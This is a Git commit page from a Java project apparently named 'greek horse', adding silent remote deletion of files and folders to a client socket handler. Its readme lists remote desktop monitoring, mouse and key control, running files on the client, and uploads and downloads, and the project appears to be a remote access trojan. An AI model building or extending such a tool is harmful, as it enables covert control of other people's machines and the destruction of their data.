Browse Source

Added remote directory deletion

main
mainSpi 3 years ago
parent
commit
19aa986628
  1. 1
      .idea/vcs.xml
  2. 14
      readme.md
  3. BIN
      shade/Server.jar
  4. 3
      src/main/java/greek/horse/client/ClientSocketManager.java
  5. BIN
      target/chat-1.0-SNAPSHOT.jar
  6. BIN
      target/classes/com/intellij/uiDesigner/core/AbstractLayout.class
  7. BIN
      target/classes/com/intellij/uiDesigner/core/DimensionInfo.class
  8. BIN
      target/classes/com/intellij/uiDesigner/core/GridConstraints.class
  9. BIN
      target/classes/com/intellij/uiDesigner/core/GridLayoutManager.class
  10. BIN
      target/classes/com/intellij/uiDesigner/core/HorizontalInfo.class
  11. BIN
      target/classes/com/intellij/uiDesigner/core/LayoutState.class
  12. BIN
      target/classes/com/intellij/uiDesigner/core/Spacer.class
  13. BIN
      target/classes/com/intellij/uiDesigner/core/SupportCode$TextWithMnemonic.class
  14. BIN
      target/classes/com/intellij/uiDesigner/core/SupportCode.class
  15. BIN
      target/classes/com/intellij/uiDesigner/core/Util.class
  16. BIN
      target/classes/com/intellij/uiDesigner/core/VerticalInfo.class
  17. BIN
      target/classes/greek/horse/client/ClientSocketManager$1.class
  18. BIN
      target/classes/greek/horse/client/ClientSocketManager.class
  19. BIN
      target/classes/greek/horse/client/tasks/DesktopTask.class
  20. BIN
      target/classes/greek/horse/models/FileStruct.class

1
.idea/vcs.xml

@ -2,5 +2,6 @@
<project version="4">
<component name="VcsDirectoryMappings">
<mapping directory="$PROJECT_DIR$/../../../.." vcs="Git" />
<mapping directory="$PROJECT_DIR$" vcs="Git" />
</component>
</project>

14
readme.md

@ -1 +1,13 @@
oi
# Working Features
## Desktop Monitor
- Monitor selection
- Optional extra compression
- Mouse clicks and keys
- Simple FPS counter
## Files Browsing
- Drive selection
- Running files on client-side
- Uploading and downloading
- Erasing files and folders

BIN
shade/Server.jar

3
src/main/java/greek/horse/client/ClientSocketManager.java

@ -7,6 +7,7 @@ import okhttp3.Request;
import okhttp3.Response;
import org.apache.commons.lang3.SystemUtils;
import org.apache.log4j.Logger;
import org.zeroturnaround.zip.commons.FileUtils;
import javax.json.Json;
import javax.json.JsonObject;
@ -305,7 +306,7 @@ public class ClientSocketManager {
Desktop.getDesktop().open(Path.of(ticket.getUri()).toFile());
return new FileBrowserResponseWrapper();
case DELETE:
Files.delete(Path.of(ticket.getUri()));
FileUtils.deleteQuietly(Path.of(ticket.getUri()).toFile());
return new FileBrowserResponseWrapper();
case DOWNLOAD:
Path p = Path.of(ticket.getUri());

BIN
target/chat-1.0-SNAPSHOT.jar

BIN
target/classes/com/intellij/uiDesigner/core/AbstractLayout.class

BIN
target/classes/com/intellij/uiDesigner/core/DimensionInfo.class

BIN
target/classes/com/intellij/uiDesigner/core/GridConstraints.class

BIN
target/classes/com/intellij/uiDesigner/core/GridLayoutManager.class

BIN
target/classes/com/intellij/uiDesigner/core/HorizontalInfo.class

BIN
target/classes/com/intellij/uiDesigner/core/LayoutState.class

BIN
target/classes/com/intellij/uiDesigner/core/Spacer.class

BIN
target/classes/com/intellij/uiDesigner/core/SupportCode$TextWithMnemonic.class

BIN
target/classes/com/intellij/uiDesigner/core/SupportCode.class

BIN
target/classes/com/intellij/uiDesigner/core/Util.class

BIN
target/classes/com/intellij/uiDesigner/core/VerticalInfo.class

BIN
target/classes/greek/horse/client/ClientSocketManager$1.class

BIN
target/classes/greek/horse/client/ClientSocketManager.class

BIN
target/classes/greek/horse/client/tasks/DesktopTask.class

BIN
target/classes/greek/horse/models/FileStruct.class

Loading…
Cancel
Save